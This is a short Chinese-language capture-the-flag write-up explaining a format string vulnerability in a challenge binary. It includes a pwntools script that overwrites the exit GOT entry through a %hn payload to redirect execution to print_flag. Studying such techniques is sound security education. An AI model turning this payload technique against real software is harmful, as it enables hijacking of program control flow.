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之前一直不怎么会格式化字符串的漏洞，刚好碰上这道题，学习一波

首先看下main函数，读一个字符串，然后打印出来，之后直接exit(0) 无法利用栈溢出跳转，但是prinf是直接打印读取的东西，这
里就存在一个格式化字符串漏洞。 

这里推荐一个格式化字符串漏洞入门的教程： 
http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html 
建议看完这个教程之后再来看我的wp

首先看一下字符串在第几个参数，这里可以看出是第4个参数，其实也可以用gdb看内存看出来，只不过麻烦一点。 

看了下，它自带了print_flag()函数，那么思路就很明显，只要利用格式化字符串漏洞覆写got表，将exit的地址改成print_flag()的
地址就行

下面就是脚本
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from pwn import *

#p = process('./pwn3')
p=remote('pwn.ctf.tamu.edu',4323)
exit_got=0x0804A01C #这里是要exit的got表所在地址
payload=p32(exit_got)+'%'+str(34219-4)+'x%4$hn' #首先写上要覆写的地址，然后% str(34219)x就是要向所在地址写入的值，%4$hn，就是代表向第四个参数所在的地址写入前面的值
p.sendline(payload)
flag=p.recvall()
print flag
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